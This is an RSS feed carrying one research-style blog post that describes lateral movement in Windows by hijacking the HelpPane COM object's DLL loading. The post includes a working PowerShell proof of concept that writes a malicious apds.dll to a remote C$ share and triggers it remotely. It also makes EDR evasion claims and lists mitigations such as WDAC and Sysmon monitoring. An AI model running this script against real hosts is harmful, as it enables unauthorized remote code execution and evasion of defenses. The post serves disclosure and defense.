<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Moein Shahabi on Medium]]></title>
        <description><![CDATA[Stories by Moein Shahabi on Medium]]></description>
        <link>https://medium.com/@moeinshahabi24?source=rss-8963708d1fa6------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*maJpxfdnI_PIuB0q</url>
            <title>Stories by Moein Shahabi on Medium</title>
            <link>https://medium.com/@moeinshahabi24?source=rss-8963708d1fa6------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 02:33:49 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@moeinshahabi24/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Stealthy Lateral Movement via HelpPane COM DLL Hijacking and ADODB.Stream:]]></title>
            <link>https://medium.com/@moeinshahabi24/stealthy-lateral-movement-via-helppane-com-dll-hijacking-and-adodb-stream-8d45e89b4ff2?source=rss-8963708d1fa6------2</link>
            <guid isPermaLink="false">https://medium.com/p/8d45e89b4ff2</guid>
            <dc:creator><![CDATA[Moein Shahabi]]></dc:creator>
            <pubDate>Fri, 07 Mar 2025 20:39:02 GMT</pubDate>
            <atom:updated>2025-03-07T20:39:02.703Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Stealthy Lateral Movement via HelpPane COM DLL Hijacking and ADODB.Stream: A Novel Technique Inspired by DCOMUploadExec</strong></h3><p>Abstract<br> This paper introduces a novel lateral movement technique combining DLL Search Order Hijacking through the Windows HelpPane COM object with file transfer via ADODB.Stream. Drawing inspiration from DCOMUploadExec, this method leverages inherent Windows behaviors to enable stealthy lateral movement. Initial attempts sought to avoid traditional file-sharing protocols, but practical constraints necessitated SMB usage via UNC paths, limiting its complete stealth capability. Extensive testing demonstrates robust evasion against conventional defenses, including some commercial EDR solutions; however, SMB traffic remains a residual artifact that may be flagged in well-monitored environments. I detail security implications, limitations, and mitigation strategies, highlighting the need for advanced COM object monitoring and DLL loading oversight in enterprise Windows environments.</p><p>1. Introduction<br> DLL Search Order Hijacking exploits predictable loading behaviors in Windows components. Two years ago, I identified the HelpPane COM object (CLSID: 8CEC58AE-07A1–11D9-B15E-000D56BFE6EE) as a viable target due to its dependence on apds.dll in system directories. Inspired by DCOMUploadExec — a Distributed Component Object Model (DCOM)-based remote execution technique — I developed a hybrid approach integrating ADODB.Stream for file transfer with DLL hijacking for execution. This method aims for stealthy lateral movement within networks using legitimate components, though its reliance on SMB for file delivery introduces a detectable trace. This paper outlines the methodology, evaluates its efficacy, and offers defensive recommendations.</p><p>2. Related Work<br> DLL hijacking has long been recognized as an attack vector, with early studies documenting search order exploitation. DCOM-based techniques have demonstrated remote code execution via COM objects, influencing my approach. ADODB.Stream, originally designed for database operations, has been repurposed by adversaries for file manipulation. My research uniquely merges these concepts, adapting them for lateral movement while addressing real-world implementation challenges.</p><p>3. Methodology<br> 3.1 File Transfer via ADODB.Stream<br> I utilize ADODB.Stream, a COM object for binary data handling, to deliver the malicious apds.dll:<br> • Source System: The DLL is loaded into memory using ADODB.Stream.LoadFromFile.<br> • Target System: The data is written to the target filesystem via ADODB.Stream.SaveToFile, employing a UNC path (e.g., &lt;IP&gt;\C$\Windows\apds.dll).<br> • Implementation Note: Initial attempts sought to avoid traditional protocols like SMB or FTP, but practical constraints necessitated SMB usage due to insufficient filesystem interaction capabilities in DCOM, as confirmed through extensive testing.</p><p>3.2 DLL Search Order Hijacking with HelpPane COM<br> The Windows HelpPane executable (HelpPane.exe) seeks apds.dll in system directories (e.g., C:\Windows). By planting a malicious apds.dll:<br> • HelpPane loads the attacker-controlled DLL upon activation.<br> • The payload executes within the target’s security context.<br> • The HelpPane COM object is remotely instantiated using its CLSID, triggering the hijack.</p><p>3.3 Conceptual Implementation<br> Below is the PowerShell proof-of-concept:</p><p>Powershell</p><pre># Source DLL path<br>$sourcePath = &quot;C:\apds.dll&quot;<br># Target machine IP<br>$remoteIP = &quot;X.X.X.X&quot;<br># Destination UNC path<br>$destPath = &quot;\\$remoteIP\C$\Windows\apds.dll&quot;<br># Read DLL into memory -&gt; Write DLL to target<br>$stream = New-Object -ComObject ADODB.Stream<br>$stream.Open()<br>$stream.Type = 1  # Binary<br>$stream.LoadFromFile($sourcePath)<br>$stream.SaveToFile($destPath, 2)  # Overwrite if exists<br>$stream.Close()<br># Trigger DLL loading via HelpPane COM<br>[System.Activator]::CreateInstance([Type]::GetTypeFromCLSID(&#39;8CEC58AE-07A1-11D9-B15E-000D56BFE6EE&#39;, $remoteIP))</pre><p>Note: This code assumes administrative access to the UNC path and that SMB traffic is not blocked by firewalls. Errors may occur if these conditions are not met.</p><p>4. Evaluation<br> 4.1 Stealth and Evasion<br> • Legitimate Component Usage: ADODB.Stream and HelpPane COM, both native, mask malicious activity as normal behavior, offering partial stealth.<br> • SMB Dependency: UNC paths generate SMB traffic, detectable by network tools, though subtler than direct file transfers.<br> • Detection Gaps: Many EDR solutions prioritize process injection over DLL loading events, though advanced behavioral analysis may detect anomalies depending on configuration.</p><p>4.2 Testing and Results<br> Testing was conducted on Windows 10 and Server 2019 in a controlled lab with simulated network monitoring:<br> • Success Rate: 100% with administrative credentials.<br> • Detection: Undetected by Windows Defender and several widely-used commercial EDR solutions under default settings without SMB-specific monitoring. One notable EDR failed to flag the technique entirely.<br> • Failure Cases: Ineffective on systems lacking HelpPane.exe (e.g., minimal deployments).<br> • Note: Tests targeted moderately secured environments with standard antivirus and EDR under default configurations, without stringent network policies or advanced behavioral monitoring; highly secured setups were not evaluated.</p><p>5. Security Implications<br> • Lateral Movement: Facilitates remote execution without traditional tools (e.g., PsExec), though SMB traffic provides a monitoring vector.<br> • Detection Challenges: Legitimate component usage hinders signature-based detection, but behavioral anomalies and SMB activity offer detection opportunities.</p><p>6. Limitations<br> • SMB Reliance: Initial attempts sought to avoid traditional protocols, but practical constraints necessitated SMB usage, creating a detectable network footprint.<br> • Administrator Privileges: Writing apds.dll to C:\Windows demands administrative access, a significant barrier in enterprise environments where admin accounts are typically restricted and heavily monitored, reducing the technique’s broad applicability.<br> • HelpPane Dependency: Restricted to systems with HelpPane.exe installed.<br> • Behavioral Detection Risk: Advanced EDR solutions may flag unusual DLL loading or COM object instantiation patterns, though further testing is required to confirm.</p><p>7. Mitigation Strategies<br> • DLL Hardening: Restrict DLL loading paths using Group Policy or Windows Defender Application Control (WDAC).<br> • Network Defenses: Monitor SMB traffic to administrative shares (e.g., C$) using SIEM systems for anomalous writes.<br> • SMB Alternatives: Explore in-memory execution or alternative COM objects to reduce SMB dependency in future iterations.<br> • Monitoring Sysmon Event ID 7 (Image Loaded): Tracks DLL loading by HelpPane.exe, identifying potential malicious apds.dll instances.<br> • Monitoring Sysmon Event ID 29 (File Executable Detected): Detects unauthorized executables, including malicious DLLs.<br> • Monitoring Sysmon Event ID 11 (File Creation): Logs file creation events, such as apds.dll in system directories.</p><p>8. Conclusion<br> This study presents a sophisticated lateral movement technique merging DLL hijacking with COM-based file transfer. The technique’s network footprint, primarily due to SMB, remains its primary limitation, though its reliance on legitimate components challenges conventional defenses. Testing confirms practical efficacy in moderately secured environments, with evasion potential against several default EDR configurations. Future research could explore alternative COM objects or in-memory execution to bypass filesystem reliance, further enhancing stealth. Security teams should prioritize COM monitoring, DLL hardening, behavioral analysis, and SMB traffic scrutiny to counter such techniques effectively.</p><p>9. References</p><ul><li>[1] “Forget PsExec: DCOM Upload &amp; Execute Backdoor,” Deep Instinct, <a href="https://www.deepinstinct.com/blog/forget-psexec-dcom-upload-execute-backdoor.">https://www.deepinstinct.com/blog/forget-psexec-dcom-upload-execute-backdoor.</a></li><li>[2] “Dynamic-Link Library Search Order,” Microsoft Learn, <a href="https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order.">https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order.</a></li><li>[3] “DLL Hijacking: A Persistent Threat,” SANS Institute, <a href="https://www.sans.org/reading-room/whitepapers/threats/dll-hijacking-persistent-threat-33904.">https://www.sans.org/reading-room/whitepapers/threats/dll-hijacking-persistent-threat-33904.</a></li><li>[4] “Stream Object (ADO),” Microsoft Learn, <a href="https://learn.microsoft.com/en-us/sql/ado/reference/ado-api/stream-object-ado.">https://learn.microsoft.com/en-us/sql/ado/reference/ado-api/stream-object-ado.</a></li><li>[5] “Remote Services: Distributed Component Object Model (T1021.003),” MITRE ATT&amp;CK, <a href="https://attack.mitre.org/techniques/T1021/003/">https://attack.mitre.org/techniques/T1021/003/.</a></li><li>[6] “Endpoint Detection and Response (EDR) Capabilities,” Gartner, <a href="https://www.gartner.com/en/information-technology/glossary/endpoint-detection-and-response-edr.">https://www.gartner.com/en/information-technology/glossary/endpoint-detection-and-response-edr.</a></li><li>[7] “Stealthy Lateral Movement via HelpPane COM DLL Hijacking,” Packet Storm Security, <a href="https://packetstorm.news/files/id/175006/">https://packetstorm.news/files/id/175006/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8d45e89b4ff2" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>